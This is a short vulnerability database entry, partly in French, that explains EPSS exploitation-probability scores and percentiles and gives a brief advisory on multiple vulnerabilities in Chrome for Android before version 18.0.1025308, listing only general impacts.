EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Google Chrome for Android is prone to multiple vulnerabilities.
Attackers may exploit these issues to execute arbitrary code in the context of the browser, obtain potentially sensitive information, bypass the same-origin policy, and steal cookie-based authentication credentials; other attacks are also possible.
Versions prior to Chrome for Android 18.0.1025308 are vulnerable.
